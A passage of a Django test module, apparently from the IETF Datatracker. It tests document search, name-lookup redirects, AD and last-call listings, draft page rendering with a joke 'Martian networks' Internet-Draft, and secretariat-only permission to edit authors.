draft.documentauthor_set.first().person.name_parts()[1]) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.title) # find by group r = self.client.get(base_url + "?activedrafts=on&by=group&group=%s" % draft.group.acronym) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.title) # find by area r = self.client.get(base_url + "?activedrafts=on&by=area&area=%s" % draft.group.parent_id) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.title) # find by area r = self.client.get(base_url + "?activedrafts=on&by=area&area=%s" % draft.group.parent_id) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.title) # find by AD r = self.client.get(base_url + "?activedrafts=on&by=ad&ad=%s" % draft.ad_id) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.title) # find by IESG state r = self.client.get(base_url + "?activedrafts=on&by=state&state=%s&substate=" % draft.get_state("draft-iesg").pk) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.title) def test_search_for_name(self): draft = WgDraftFactory(name='draft-ietf-mars-test',group=GroupFactory(acronym='mars',parent=Group.objects.get(acronym='farfut')),authors=[PersonFactory()],ad=PersonFactory()) draft.set_state(State.objects.get(used=True, type="draft-iesg", slug="pub-req")) CharterFactory(group=draft.group,name='charter-ietf-mars') DocumentFactory(type_id='conflrev',name='conflict-review-imaginary-irtf-submission') DocumentFactory(type_id='statchg',name='status-change-imaginary-mid-review') DocumentFactory(type_id='agenda',name='agenda-72-mars') DocumentFactory(type_id='minutes',name='minutes-72-mars') DocumentFactory(type_id='slides',name='slides-72-mars') draft.save_with_history([DocEvent.objects.create(doc=draft, rev=draft.rev, type="changed_document", by=Person.objects.get(user__username="secretary"), desc="Test")]) prev_rev = draft.rev draft.rev = "%02d" % (int(prev_rev) + 1) draft.save_with_history([DocEvent.objects.create(doc=draft, rev=draft.rev, type="changed_document", by=Person.objects.get(user__username="secretary"), desc="Test")]) # exact match r = self.client.get(urlreverse('ietf.doc.views_search.search_for_name', kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 302) self.assertEqual(urlparse(r["Location"]).path, urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) # prefix match r = self.client.get(urlreverse('ietf.doc.views_search.search_for_name', kwargs=dict(name="-".join(draft.name.split("-")[:-1])))) self.assertEqual(r.status_code, 302) self.assertEqual(urlparse(r["Location"]).path, urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) # non-prefix match r = self.client.get(urlreverse('ietf.doc.views_search.search_for_name', kwargs=dict(name="-".join(draft.name.split("-")[1:])))) self.assertEqual(r.status_code, 302) self.assertEqual(urlparse(r["Location"]).path, urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) # other doctypes than drafts doc = Document.objects.get(name='charter-ietf-mars') r = self.client.get(urlreverse('ietf.doc.views_search.search_for_name', kwargs=dict(name='charter-ietf-ma'))) self.assertEqual(r.status_code, 302) self.assertEqual(urlparse(r["Location"]).path, urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=doc.name))) doc = Document.objects.filter(name__startswith='conflict-review-').first() r = self.client.get(urlreverse('ietf.doc.views_search.search_for_name', kwargs=dict(name="-".join(doc.name.split("-")[:-1])))) self.assertEqual(r.status_code, 302) self.assertEqual(urlparse(r["Location"]).path, urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=doc.name))) doc = Document.objects.filter(name__startswith='status-change-').first() r = self.client.get(urlreverse('ietf.doc.views_search.search_for_name', kwargs=dict(name="-".join(doc.name.split("-")[:-1])))) self.assertEqual(r.status_code, 302) self.assertEqual(urlparse(r["Location"]).path, urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=doc.name))) doc = Document.objects.filter(name__startswith='agenda-').first() r = self.client.get(urlreverse('ietf.doc.views_search.search_for_name', kwargs=dict(name="-".join(doc.name.split("-")[:-1])))) self.assertEqual(r.status_code, 302) self.assertEqual(urlparse(r["Location"]).path, urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=doc.name))) doc = Document.objects.filter(name__startswith='minutes-').first() r = self.client.get(urlreverse('ietf.doc.views_search.search_for_name', kwargs=dict(name="-".join(doc.name.split("-")[:-1])))) self.assertEqual(r.status_code, 302) self.assertEqual(urlparse(r["Location"]).path, urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=doc.name))) doc = Document.objects.filter(name__startswith='slides-').first() r = self.client.get(urlreverse('ietf.doc.views_search.search_for_name', kwargs=dict(name="-".join(doc.name.split("-")[:-1])))) self.assertEqual(r.status_code, 302) self.assertEqual(urlparse(r["Location"]).path, urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=doc.name))) # match with revision r = self.client.get(urlreverse('ietf.doc.views_search.search_for_name', kwargs=dict(name=draft.name + "-" + prev_rev))) self.assertEqual(r.status_code, 302) self.assertEqual(urlparse(r["Location"]).path, urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name, rev=prev_rev))) # match with non-existing revision r = self.client.get(urlreverse('ietf.doc.views_search.search_for_name', kwargs=dict(name=draft.name + "-09"))) self.assertEqual(r.status_code, 302) self.assertEqual(urlparse(r["Location"]).path, urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) # match with revision and extension r = self.client.get(urlreverse('ietf.doc.views_search.search_for_name', kwargs=dict(name=draft.name + "-" + prev_rev + ".txt"))) self.assertEqual(r.status_code, 302) self.assertEqual(urlparse(r["Location"]).path, urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name, rev=prev_rev))) # no match r = self.client.get(urlreverse('ietf.doc.views_search.search_for_name', kwargs=dict(name="draft-ietf-doesnotexist-42"))) self.assertEqual(r.status_code, 302) parsed = urlparse(r["Location"]) self.assertEqual(parsed.path, urlreverse('ietf.doc.views_search.search')) self.assertEqual(parse_qs(parsed.query)["name"][0], "draft-ietf-doesnotexist-42") def test_frontpage(self): r = self.client.get("/") self.assertEqual(r.status_code, 200) self.assertContains(r, "Document Search") def test_docs_for_ad(self): ad = RoleFactory(name_id='ad',group__type_id='area',group__state_id='active').person draft = IndividualDraftFactory(ad=ad) draft.action_holders.set([PersonFactory()]) draft.set_state(State.objects.get(type='draft-iesg', slug='lc')) rfc = IndividualDraftFactory(ad=ad) rfc.set_state(State.objects.get(type='draft', slug='rfc')) DocAlias.objects.create(name='rfc6666').docs.add(rfc) conflrev = DocumentFactory(type_id='conflrev',ad=ad) conflrev.set_state(State.objects.get(type='conflrev', slug='iesgeval')) statchg = DocumentFactory(type_id='statchg',ad=ad) statchg.set_state(State.objects.get(type='statchg', slug='iesgeval')) charter = CharterFactory(name='charter-ietf-ames',ad=ad) charter.set_state(State.objects.get(type='charter', slug='iesgrev')) ballot_type = BallotType.objects.get(doc_type_id='draft',slug='approve') ballot = BallotDocEventFactory(ballot_type=ballot_type, doc__states=[('draft-iesg','iesg-eva')]) discuss_pos = BallotPositionName.objects.get(slug='discuss') discuss_other = BallotPositionDocEventFactory(ballot=ballot, doc=ballot.doc, balloter=ad, pos=discuss_pos) blockedcharter = CharterFactory(name='charter-ietf-mars',ad=ad) blockedcharter.set_state(State.objects.get(type='charter',slug='extrev')) charter_ballot_type = BallotType.objects.get(doc_type_id='charter',slug='approve') charterballot = BallotDocEventFactory(ballot_type=charter_ballot_type, doc__states=[('charter','extrev')]) block_pos = BallotPositionName.objects.get(slug='block') block_other = BallotPositionDocEventFactory(ballot=charterballot, doc=ballot.doc, balloter=ad, pos=block_pos) r = self.client.get(urlreverse('ietf.doc.views_search.docs_for_ad', kwargs=dict(name=ad.full_name_as_key()))) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.name) self.assertContains(r, escape(draft.action_holders.first().name)) self.assertContains(r, rfc.canonical_name()) self.assertContains(r, conflrev.name) self.assertContains(r, statchg.name) self.assertContains(r, charter.name) self.assertContains(r, discuss_other.doc.name) self.assertContains(r, block_other.doc.name) def test_auth48_doc_for_ad(self): """Docs in AUTH48 state should have a decoration""" ad = RoleFactory(name_id='ad', group__type_id='area', group__state_id='active').person draft = IndividualDraftFactory(ad=ad, states=[('draft', 'active'), ('draft-iesg', 'rfcqueue'), ('draft-rfceditor', 'auth48')]) r = self.client.get(urlreverse('ietf.doc.views_search.docs_for_ad', kwargs=dict(name=ad.full_name_as_key()))) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.name) self.assertContains(r, 'title="AUTH48"') # title attribute of AUTH48 badge in auth48_alert_badge filter def test_drafts_in_last_call(self): draft = IndividualDraftFactory(pages=1) draft.action_holders.set([PersonFactory()]) draft.set_state(State.objects.get(type="draft-iesg", slug="lc")) r = self.client.get(urlreverse('ietf.doc.views_search.drafts_in_last_call')) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.title) self.assertContains(r, escape(draft.action_holders.first().name)) def test_in_iesg_process(self): doc_in_process = IndividualDraftFactory() doc_in_process.action_holders.set([PersonFactory()]) doc_in_process.set_state(State.objects.get(type='draft-iesg', slug='lc')) doc_not_in_process = IndividualDraftFactory() r = self.client.get(urlreverse('ietf.doc.views_search.drafts_in_iesg_process')) self.assertEqual(r.status_code, 200) self.assertContains(r, doc_in_process.title) self.assertContains(r, escape(doc_in_process.action_holders.first().name)) self.assertNotContains(r, doc_not_in_process.title) def test_indexes(self): draft = IndividualDraftFactory() rfc = WgRfcFactory() r = self.client.get(urlreverse('ietf.doc.views_search.index_all_drafts')) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.name) self.assertContains(r, rfc.canonical_name().upper()) r = self.client.get(urlreverse('ietf.doc.views_search.index_active_drafts')) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.title) def test_ajax_search_docs(self): draft = IndividualDraftFactory() # Document url = urlreverse('ietf.doc.views_search.ajax_select2_search_docs', kwargs={ "model_name": "document", "doc_type": "draft", }) r = self.client.get(url, dict(q=draft.name)) self.assertEqual(r.status_code, 200) data = r.json() self.assertEqual(data[0]["id"], draft.pk) # DocAlias doc_alias = draft.docalias.first() url = urlreverse('ietf.doc.views_search.ajax_select2_search_docs', kwargs={ "model_name": "docalias", "doc_type": "draft", }) r = self.client.get(url, dict(q=doc_alias.name)) self.assertEqual(r.status_code, 200) data = r.json() self.assertEqual(data[0]["id"], doc_alias.pk) def test_recent_drafts(self): # Three drafts to show with various warnings drafts = WgDraftFactory.create_batch(3,states=[('draft','active'),('draft-iesg','ad-eval')]) for index, draft in enumerate(drafts): StateDocEventFactory(doc=draft, state=('draft-iesg','ad-eval'), time=datetime.datetime.now()-datetime.timedelta(days=[1,15,29][index])) draft.action_holders.set([PersonFactory()]) # And one draft that should not show (with the default of 7 days to view) old = WgDraftFactory() old.docevent_set.filter(newrevisiondocevent__isnull=False).update(time=datetime.datetime.now()-datetime.timedelta(days=8)) StateDocEventFactory(doc=old, time=datetime.datetime.now()-datetime.timedelta(days=8)) url = urlreverse('ietf.doc.views_search.recent_drafts') r = self.client.get(url) self.assertEqual(r.status_code, 200) q = PyQuery(r.content) self.assertEqual(len(q('td.doc')),3) self.assertTrue(q('td.status span.text-warning *[title*="%s"]' % "for 15 days")) self.assertTrue(q('td.status span.text-danger *[title*="%s"]' % "for 29 days")) for ah in [draft.action_holders.first() for draft in drafts]: self.assertContains(r, escape(ah.name)) class DocDraftTestCase(TestCase): draft_text = """ Martian Special Interest Group (mars) P. Man Internet-Draft March 21, 2015 Intended status: Informational Expires: September 22, 2015 Optimizing Martian Network Topologies draft-ietf-mars-test-02.txt Abstract Techniques for achieving near-optimal Martian networks. Status of This Memo This Internet-Draft is submitted in full conformance with the provisions of BCP 78 and BCP 79. Internet-Drafts are working documents of the Internet Engineering Task Force (IETF). Note that other groups may also distribute working documents as Internet-Drafts. The list of current Internet- Drafts is at http://datatracker.ietf.org/drafts/current/. Internet-Drafts are draft documents valid for a maximum of six months and may be updated, replaced, or obsoleted by other documents at any time. It is inappropriate to use Internet-Drafts as reference material or to cite them other than as "work in progress." This Internet-Draft will expire on September 22, 2015. Copyright Notice Copyright (c) 2015 IETF Trust and the persons identified as the document authors. All rights reserved. This document is subject to BCP 78 and the IETF Trust's Legal Provisions Relating to IETF Documents (http://trustee.ietf.org/license-info) in effect on the date of publication of this document. Please review these documents carefully, as they describe your rights and restrictions with respect to this document. Code Components extracted from this document must include Simplified BSD License text as described in Section 4.e of the Trust Legal Provisions and are provided without warranty as described in the Simplified BSD License. This document may contain material from IETF Documents or IETF Contributions published or made publicly available before November 10, 2008. The person(s) controlling the copyright in some of this Man Expires September 22, 2015 [Page 1] Internet-Draft Optimizing Martian Network Topologies March 2015 material may not have granted the IETF Trust the right to allow modifications of such material outside the IETF Standards Process. Without obtaining an adequate license from the person(s) controlling the copyright in such materials, this document may not be modified outside the IETF Standards Process, and derivative works of it may not be created outside the IETF Standards Process, except to format it for publication as an RFC or to translate it into languages other than English. Table of Contents 1. Introduction . . . . . . . . . . . . . . . . . . . . . . . . 2 2. Security Considerations . . . . . . . . . . . . . . . . . . . 2 3. IANA Considerations . . . . . . . . . . . . . . . . . . . . . 2 4. Acknowledgements . . . . . . . . . . . . . . . . . . . . . . 3 5. Normative References . . . . . . . . . . . . . . . . . . . . 3 Author's Address . . . . . . . . . . . . . . . . . . . . . . . . 3 1. Introduction This document describes how to make the Martian networks work. The methods used in Earth do not directly translate to the efficent networks on Mars, as the topographical differences caused by planets. For example the avian carriers, cannot be used in the Mars, thus RFC1149 ([RFC1149]) cannot be used in Mars. Some optimizations can be done because Mars is smaller than Earth, thus the round trip times are smaller. Also as Mars has two moons instead of only one as we have in Earth, we can use both Deimos and Phobos when using reflecting radio links off the moon. The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be interpreted as described in [RFC2119]. 2. Security Considerations As Martians are known to listen all traffic in Mars, all traffic in the Mars MUST be encrypted. 3. IANA Considerations There is no new IANA considerations in this document. Man Expires September 22, 2015 [Page 2] Internet-Draft Optimizing Martian Network Topologies March 2015 4. Acknowledgements This document is created in the IETF-92 CodeSprint in Dallas, TX. 5. Normative References [RFC1149] Waitzman, D., "Standard for the transmission of IP datagrams on avian carriers", RFC 1149, April 1990. [RFC2119] Bradner, S., "Key words for use in RFCs to Indicate Requirement Levels", BCP 14, RFC 2119, March 1997. Author's Address Plain Man Deimos street Mars City MARS-000000 Mars Email: aliens@example.mars Man Expires September 22, 2015 [Page 3] """ def setUp(self): super().setUp() for dir in [settings.INTERNET_ALL_DRAFTS_ARCHIVE_DIR, settings.INTERNET_DRAFT_PATH]: with (Path(dir) / 'draft-ietf-mars-test-01.txt').open('w') as f: f.write(self.draft_text) def test_document_draft(self): draft = WgDraftFactory(name='draft-ietf-mars-test',rev='01') HolderIprDisclosureFactory(docs=[draft]) # Docs for testing relationships. Does not test 'possibly-replaces'. The 'replaced_by' direction # is tested separately below. replaced = IndividualDraftFactory() draft.relateddocument_set.create(relationship_id='replaces',source=draft,target=replaced.docalias.first()) obsoleted = IndividualDraftFactory() draft.relateddocument_set.create(relationship_id='obs',source=draft,target=obsoleted.docalias.first()) obsoleted_by = IndividualDraftFactory() obsoleted_by.relateddocument_set.create(relationship_id='obs',source=obsoleted_by,target=draft.docalias.first()) updated = IndividualDraftFactory() draft.relateddocument_set.create(relationship_id='updates',source=draft,target=updated.docalias.first()) updated_by = IndividualDraftFactory() updated_by.relateddocument_set.create(relationship_id='updates',source=obsoleted_by,target=draft.docalias.first()) # these tests aren't testing all attributes yet, feel free to # expand them r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 200) self.assertContains(r, "Active Internet-Draft") if settings.USER_PREFERENCE_DEFAULTS['full_draft'] == 'off': self.assertContains(r, "Show full document") self.assertNotContains(r, "Deimos street") self.assertContains(r, replaced.canonical_name()) self.assertContains(r, replaced.title) # obs/updates not included until draft is RFC self.assertNotContains(r, obsoleted.canonical_name()) self.assertNotContains(r, obsoleted.title) self.assertNotContains(r, obsoleted_by.canonical_name()) self.assertNotContains(r, obsoleted_by.title) self.assertNotContains(r, updated.canonical_name()) self.assertNotContains(r, updated.title) self.assertNotContains(r, updated_by.canonical_name()) self.assertNotContains(r, updated_by.title) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name)) + "?include_text=0") self.assertEqual(r.status_code, 200) self.assertContains(r, "Active Internet-Draft") self.assertContains(r, "Show full document") self.assertNotContains(r, "Deimos street") self.assertContains(r, replaced.canonical_name()) self.assertContains(r, replaced.title) # obs/updates not included until draft is RFC self.assertNotContains(r, obsoleted.canonical_name()) self.assertNotContains(r, obsoleted.title) self.assertNotContains(r, obsoleted_by.canonical_name()) self.assertNotContains(r, obsoleted_by.title) self.assertNotContains(r, updated.canonical_name()) self.assertNotContains(r, updated.title) self.assertNotContains(r, updated_by.canonical_name()) self.assertNotContains(r, updated_by.title) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name)) + "?include_text=foo") self.assertEqual(r.status_code, 200) self.assertContains(r, "Active Internet-Draft") self.assertNotContains(r, "Show full document") self.assertContains(r, "Deimos street") self.assertContains(r, replaced.canonical_name()) self.assertContains(r, replaced.title) # obs/updates not included until draft is RFC self.assertNotContains(r, obsoleted.canonical_name()) self.assertNotContains(r, obsoleted.title) self.assertNotContains(r, obsoleted_by.canonical_name()) self.assertNotContains(r, obsoleted_by.title) self.assertNotContains(r, updated.canonical_name()) self.assertNotContains(r, updated.title) self.assertNotContains(r, updated_by.canonical_name()) self.assertNotContains(r, updated_by.title) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name)) + "?include_text=1") self.assertEqual(r.status_code, 200) self.assertContains(r, "Active Internet-Draft") self.assertNotContains(r, "Show full document") self.assertContains(r, "Deimos street") self.assertContains(r, replaced.canonical_name()) self.assertContains(r, replaced.title) # obs/updates not included until draft is RFC self.assertNotContains(r, obsoleted.canonical_name()) self.assertNotContains(r, obsoleted.title) self.assertNotContains(r, obsoleted_by.canonical_name()) self.assertNotContains(r, obsoleted_by.title) self.assertNotContains(r, updated.canonical_name()) self.assertNotContains(r, updated.title) self.assertNotContains(r, updated_by.canonical_name()) self.assertNotContains(r, updated_by.title) self.client.cookies = SimpleCookie({str('full_draft'): str('on')}) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 200) self.assertContains(r, "Active Internet-Draft") self.assertNotContains(r, "Show full document") self.assertContains(r, "Deimos street") self.assertContains(r, replaced.canonical_name()) self.assertContains(r, replaced.title) # obs/updates not included until draft is RFC self.assertNotContains(r, obsoleted.canonical_name()) self.assertNotContains(r, obsoleted.title) self.assertNotContains(r, obsoleted_by.canonical_name()) self.assertNotContains(r, obsoleted_by.title) self.assertNotContains(r, updated.canonical_name()) self.assertNotContains(r, updated.title) self.assertNotContains(r, updated_by.canonical_name()) self.assertNotContains(r, updated_by.title) self.client.cookies = SimpleCookie({str('full_draft'): str('off')}) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 200) self.assertContains(r, "Active Internet-Draft") self.assertContains(r, "Show full document") self.assertNotContains(r, "Deimos street") self.assertContains(r, replaced.canonical_name()) self.assertContains(r, replaced.title) # obs/updates not included until draft is RFC self.assertNotContains(r, obsoleted.canonical_name()) self.assertNotContains(r, obsoleted.title) self.assertNotContains(r, obsoleted_by.canonical_name()) self.assertNotContains(r, obsoleted_by.title) self.assertNotContains(r, updated.canonical_name()) self.assertNotContains(r, updated.title) self.assertNotContains(r, updated_by.canonical_name()) self.assertNotContains(r, updated_by.title) self.client.cookies = SimpleCookie({str('full_draft'): str('foo')}) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 200) self.assertContains(r, "Active Internet-Draft") if settings.USER_PREFERENCE_DEFAULTS['full_draft'] == 'off': self.assertContains(r, "Show full document") self.assertNotContains(r, "Deimos street") self.assertContains(r, replaced.canonical_name()) self.assertContains(r, replaced.title) # obs/updates not included until draft is RFC self.assertNotContains(r, obsoleted.canonical_name()) self.assertNotContains(r, obsoleted.title) self.assertNotContains(r, obsoleted_by.canonical_name()) self.assertNotContains(r, obsoleted_by.title) self.assertNotContains(r, updated.canonical_name()) self.assertNotContains(r, updated.title) self.assertNotContains(r, updated_by.canonical_name()) self.assertNotContains(r, updated_by.title) r = self.client.get(urlreverse("ietf.doc.views_doc.document_html", kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 200) self.assertContains(r, "Versions:") self.assertContains(r, "Deimos street") q = PyQuery(r.content) self.assertEqual(q('title').text(), 'draft-ietf-mars-test-01') self.assertEqual(len(q('.rfcmarkup pre')), 4) self.assertEqual(len(q('.rfcmarkup span.h1')), 2) self.assertEqual(len(q('.rfcmarkup a[href]')), 41) r = self.client.get(urlreverse("ietf.doc.views_doc.document_html", kwargs=dict(name=draft.name, rev=draft.rev))) self.assertEqual(r.status_code, 200) q = PyQuery(r.content) self.assertEqual(q('title').text(), 'draft-ietf-mars-test-01') rfc = WgRfcFactory() (Path(settings.RFC_PATH) / rfc.get_base_name()).touch() r = self.client.get(urlreverse("ietf.doc.views_doc.document_html", kwargs=dict(name=rfc.canonical_name()))) self.assertEqual(r.status_code, 200) q = PyQuery(r.content) self.assertEqual(q('title').text(), f'RFC {rfc.rfc_number()} - {rfc.title}') # synonyms for the rfc should be redirected to its canonical view r = self.client.get(urlreverse("ietf.doc.views_doc.document_html", kwargs=dict(name=rfc.rfc_number()))) self.assertRedirects(r, urlreverse("ietf.doc.views_doc.document_html", kwargs=dict(name=rfc.canonical_name()))) r = self.client.get(urlreverse("ietf.doc.views_doc.document_html", kwargs=dict(name=f'RFC {rfc.rfc_number()}'))) self.assertRedirects(r, urlreverse("ietf.doc.views_doc.document_html", kwargs=dict(name=rfc.canonical_name()))) # expired draft draft.set_state(State.objects.get(type="draft", slug="expired")) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 200) self.assertContains(r, "Expired Internet-Draft") # replaced draft draft.set_state(State.objects.get(type="draft", slug="repl")) replacement = WgDraftFactory( name="draft-ietf-replacement", time=datetime.datetime.now(), title="Replacement Draft", stream_id=draft.stream_id, group_id=draft.group_id, abstract=draft.abstract,stream=draft.stream, rev=draft.rev, pages=draft.pages, intended_std_level_id=draft.intended_std_level_id, shepherd_id=draft.shepherd_id, ad_id=draft.ad_id, expires=draft.expires, notify=draft.notify, note=draft.note) rel = RelatedDocument.objects.create(source=replacement, target=draft.docalias.get(name__startswith="draft"), relationship_id="replaces") r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 200) self.assertContains(r, "Replaced Internet-Draft") self.assertContains(r, replacement.canonical_name()) self.assertContains(r, replacement.title) rel.delete() # draft published as RFC draft.set_state(State.objects.get(type="draft", slug="rfc")) draft.std_level_id = "bcp" draft.save_with_history([DocEvent.objects.create(doc=draft, rev=draft.rev, type="published_rfc", by=Person.objects.get(name="(System)"))]) rfc_alias = DocAlias.objects.create(name="rfc123456") rfc_alias.docs.add(draft) bcp_alias = DocAlias.objects.create(name="bcp123456") bcp_alias.docs.add(draft) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 302) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=bcp_alias.name))) self.assertEqual(r.status_code, 302) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=rfc_alias.name))) self.assertEqual(r.status_code, 200) self.assertContains(r, "RFC 123456") self.assertContains(r, draft.name) self.assertContains(r, replaced.canonical_name()) self.assertContains(r, replaced.title) # obs/updates included with RFC self.assertContains(r, obsoleted.canonical_name()) self.assertContains(r, obsoleted.title) self.assertContains(r, obsoleted_by.canonical_name()) self.assertContains(r, obsoleted_by.title) self.assertContains(r, updated.canonical_name()) self.assertContains(r, updated.title) self.assertContains(r, updated_by.canonical_name()) self.assertContains(r, updated_by.title) # naked RFC - also wierd that we test a PS from the ISE rfc = IndividualDraftFactory( name="rfc1234567", title="RFC without a Draft", stream_id="ise", std_level_id="ps") r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=rfc.name))) self.assertEqual(r.status_code, 200) self.assertContains(r, "RFC 1234567") # unknown draft r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name="draft-xyz123"))) self.assertEqual(r.status_code, 404) def assert_correct_wg_group_link(self, r, group): """Assert correct format for WG-like group types""" self.assertContains( r, '(<a href="%(about_url)s">%(group_acro)s %(group_type)s</a>)' % { "group_acro": group.acronym, "group_type": group.type, "about_url": group.about_url(), }, msg_prefix='WG-like group %s (%s) should include group type in link' % (group.acronym, group.type), ) def test_draft_status_changes(self): draft = WgRfcFactory() status_change_doc = StatusChangeFactory( group=draft.group, changes_status_of=[('tops', draft.docalias.first())], ) status_change_url = urlreverse( 'ietf.doc.views_doc.document_main', kwargs={'name': status_change_doc.name}, ) proposed_status_change_doc = StatusChangeFactory( group=draft.group, changes_status_of=[('tobcp', draft.docalias.first())], states=[State.objects.get(slug='needshep', type='statchg')], ) proposed_status_change_url = urlreverse( 'ietf.doc.views_doc.document_main', kwargs={'name': proposed_status_change_doc.name}, ) r = self.client.get( urlreverse( 'ietf.doc.views_doc.document_main', kwargs={'name': draft.canonical_name()}, ) ) self.assertEqual(r.status_code, 200) response_content = r.content.decode() self.assertInHTML( 'Status changed by <a href="{url}" title="{title}">{name}</a>'.format( name=status_change_doc.name, title=status_change_doc.title, url=status_change_url, ), response_content, ) self.assertInHTML( 'Proposed status changed by <a href="{url}" title="{title}">{name}</a>'.format( name=proposed_status_change_doc.name, title=proposed_status_change_doc.title, url=proposed_status_change_url, ), response_content, ) def assert_correct_non_wg_group_link(self, r, group): """Assert correct format for non-WG-like group types""" self.assertContains( r, '(<a href="%(about_url)s">%(group_acro)s</a>)' % { "group_acro": group.acronym, "about_url": group.about_url(), }, msg_prefix='Non-WG-like group %s (%s) should not include group type in link' % (group.acronym, group.type), ) def login(self, username): self.client.login(username=username, password=username + '+password') def test_edit_authors_permissions(self): """Only the secretariat may edit authors""" draft = WgDraftFactory(authors=PersonFactory.create_batch(3)) RoleFactory(group=draft.group, name_id='chair') RoleFactory(group=draft.group, name_id='ad', person=Person.objects.get(user__username='ad')) url = urlreverse('ietf.doc.views_doc.edit_authors', kwargs=dict(name=draft.name)) # Relevant users not authorized to edit authors unauthorized_usernames = [ 'plain', *[author.user.username for author in draft.authors()], draft.group.get_chair().person.user.username, 'ad' ] # First, check that only the secretary can even see the edit page. # Each call checks that currently-logged in user is refused, then logs in as the named user. for username in unauthorized_usernames: login_testing_unauthorized(self, username, url) login_testing_unauthorized(self, 'secretary', url) r = self.client.get(url) self.assertEqual(r.status_code, 200) self.client.logout() # Try to add an author via POST - still only the secretary should be able to do this. orig_authors = draft.authors() post_data = self.make_edit_authors_post_data( basis='permission test', authors=draft.documentauthor_set.all(), ) new_auth_person = PersonFactory() self.add_author_to_edit_authors_post_data( post_data, dict( person=str(new_auth_person.pk), email=str(new_auth_person.email()), affiliation='affil', country='USA', ), ) for username in unauthorized_usernames: login_testing_unauthorized(self, username, url, method='post', request_kwargs=dict(data=post_data)) draft = Document.objects.get(pk=draft.pk) self.assertEqual(draft.authors(), orig_authors) # ensure draft author list was not modified login_testing_unauthorized(self, 'secretary', url, method='post', request_kwargs=dict(data=post_data)) r = self.client.post(url, post_data) self.assertEqual(r.status_code, 302) draft = Document.objects.get(pk=draft.pk) self.assertEqual(draft.authors(), orig_authors + [new_auth_person]) def make_edit_authors_post_data(self, basis, authors): """Helper to generate edit_authors POST data for a set of authors""" def _add_prefix(s): # The prefix here needs to match the formset prefix in the edit_authors() view return 'author-{}'.format(s) data = { 'basis': basis, # management form _add_prefix('TOTAL_FORMS'): '1', # just the empty form so far _add_prefix('INITIAL_FORMS'): str(len(authors)), _add_prefix('MIN_NUM_FORMS'): '0', _add_prefix('MAX_NUM_FORMS'): '1000', # empty form _add_prefix('__prefix__-person'): '', _add_prefix('__prefix__-email'): '', _add_prefix('__prefix__-affiliation'): '', _add_prefix('__prefix__-country'): '', _add_prefix('__prefix__-ORDER'): '', } for index, auth in enumerate(authors): self.add_author_to_edit_authors_post_data( data, dict( person=str(auth.person.pk), email=auth.email, affiliation=auth.affiliation, country=auth.country ) ) return data def add_author_to_edit_authors_post_data(self, post_data, new_author, insert_order=-1, prefix='author'): """Helper to insert an author in the POST data for the edit_authors view The insert_order parameter is 0-indexed (i.e., it's the Django formset ORDER field, not the DocumentAuthor order property, which is 1-indexed) """ def _add_prefix(s): return '{}-{}'.format(prefix, s) total_forms = int(post_data[_add_prefix('TOTAL_FORMS')]) - 1 # subtract 1 for empty form if insert_order < 0: insert_order = total_forms else: # Make a map from order to the data key that has that order value order_key = dict() for order in range(insert_order, total_forms): key = _add_prefix(str(order) + '-ORDER') order_key[int(post_data[key])] = key # now increment all orders at or above where new element will be inserted for order in range(insert_order, total_forms): post_data[order_key[order]] = str(order + 1) form_index = total_forms # regardless of insert order, new data has next unused form index total_forms += 1 # new form post_data[_add_prefix('TOTAL_FORMS')] = total_forms + 1 # add 1 for empty form for prop in ['person', 'email', 'affiliation', 'country']: post_data[_add_prefix(str(form_index) + '-' + prop)] = str(new_author[prop]) post_data[_add_prefix(str(form_index) + '-ORDER')] = str(insert_order) def test_edit_authors_missing_basis(self): draft = WgDraftFactory() DocumentAuthorFactory.create_batch(3, document=draft) url = 